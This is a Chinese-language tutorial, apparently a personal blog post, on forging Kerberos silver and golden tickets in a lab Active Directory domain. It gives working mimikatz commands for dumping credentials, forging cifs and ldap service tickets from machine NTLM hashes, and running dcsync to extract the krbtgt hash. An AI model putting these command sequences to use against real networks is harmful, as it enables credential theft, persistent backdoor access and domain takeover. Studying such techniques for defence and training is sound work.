这里需要拿到目标服务器的域用户NTLM hash和SID,一般来说拿到的用户都是能够在域的任意一个机器中使用的,如果不能的话银票是伪造不了,因为这里是需要对应用户的银票然后拿着银票到目标服务器,不然你拿着票也没啥用,不像金票krbtgt一票走天下。
这里获取的方式就直接使用mimikatz了,很多方式就不介绍了
mimikatz.exe
privilege::debug
sekurlsa::logonpasswords#或者导入文件中
mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" "exit" > key.txt
银票伪造
cifs服务(mimikatz)
环境
这里我添加了一个新的win7系统加入到域中,为了更直观的看到银票的作用是`与服务器交互的作用`
机器名为:Dhan-PC.god.com
ip:10.0.0.13
在Dhan-PC.god.com机器中导出凭据看到他的用户名和对应的hash
其他环境不变
条件
说在前面:rc4的hash和target的机器名要对应!!!
/sid: `客户端`用户的sid号
/target: 需要`访问的域服务器`的`计算机全名`
====================重点重点重点=============================
/rc4: 注意这里不是找用户hash口令,而是机器对应的ntlm hash。`一般用administrator的ntml hash`,mimikatz收集到的用户名后面带$符号的就是了,然后看下面的ntlm值,比如:DHAN-PC$的DHAN-PC就是机器名
============================================================
/service:需要伪造的服务,例如`cifs`访问文件服务
/user: 指定需要伪造的用户
/ptt: 将伪造的票据导入内存
命令执行
kerberos::golden /domain:god.com /sid:S-1-5-21-1372085290-516318011-3378863887 /target:DHAN-PC.god.com /rc4:b9f2f1bf723ce6b29a01b9f06c317f7d /service:cifs /user:fuck /ptt
重要的注意事项
ps:这个/target参数后面跟跟目标服务器的 [$主机名.域名$]
这里要用你`目标服务器的域中机器名全名`
并且一般这个名字在你mimikatz导出的凭证中带$的
与此同时/rc4还要用这个机器的的ntlm hash,不可以随便用,要对应着才行。
(本人试验过使用机器的ip不适用机器名的话注入银票后dir查看失败)
ldap服务(mimikatz)
我使用银票伪造访问ladp服务目的
由于我们无法直接接管dc但无意间拿到dc域控的ntlm
可以通过net time /domain等方法定位主机名全名
然后银票伪造注入,查看krbtgt的信息,就可以伪造金票了
有了金票的话注入一手,就可以在金票有效期内到域环境中逛街了。
条件
0.重要的条件:不用管理员权限运行mimikatz,票据注入貌似都不用管理员权限同样的你注入成功后想要使用票据操作也是不用管理员权限的哈
1.你要用ldap服务去获取krbtgt的信息一般只能用dc服务器的主机名和ntlm hash去搞银票,其他ldap功能用法没试过,应该是可以用普通权限的语言用户
2.同样需要目标服务器的主机名全名还有他的机器的ntlm hash
3.sid的话域环境的sid就行
命令
kerberos::golden /domain:god.com /sid:S-1-5-21-1372085290-516318011-3378863887 /target:WIN-Q23MC0LU96E.god.com /rc4:f1975383b0df3f76d75360fa7728669b /service:ldap /user:dcfuck /pttlsadump::dcsync /dc:WIN-Q23MC0LU96E.god.com /domain:god.com /user:krbtgt
下面给出注入过程的截图
注入成功
注入成功后,接着输入:
lsadump::dcsync /dc:WIN-Q23MC0LU96E.god.com /domain:god.com /user:krbtgt
就拿到krbtgt信息了
票据传递的总结
纯属个人理解:
票据相当于一个后门,在有效时间内,不管对面是否修改什么用户名或者用户密码都不会影响票据在有效期内的效果
金票:一旦导入,普通权限的用户都能直接横向移动
银票:导入成功,虽然只能对单一服务进行横向操作,不过也够了不知道你有没有和我一样疑惑:我要搞票据信息的环境本身就需要管理员权限了,那我干嘛还要高票据传递,我直接管理员权限直接横穿不就好了?
我答:其实这也是我刚刚说的金票和银票其实更像是一种后门的存在,在有效期内不会受到干扰,只要还能用就还能横着走。
金银票据的区别
获取的权限不同
(个人觉得最本质的最好理解的区别就是这个)
金票:伪造的TGT,可以获取任意Kerberos的访问权限
银票:伪造的ST,只能访问指定的服务,如文件服务器(CIFS)这也应了为什么银票要找机器的ntlm hash而不是域用户的hash口令这必须不可以搞错的概念,否则银票学不会(正是这个原因困扰了我很久很久。。。。)
初探域渗透到此结束,后续碰到有意思的域环境渗透会及时同步分享。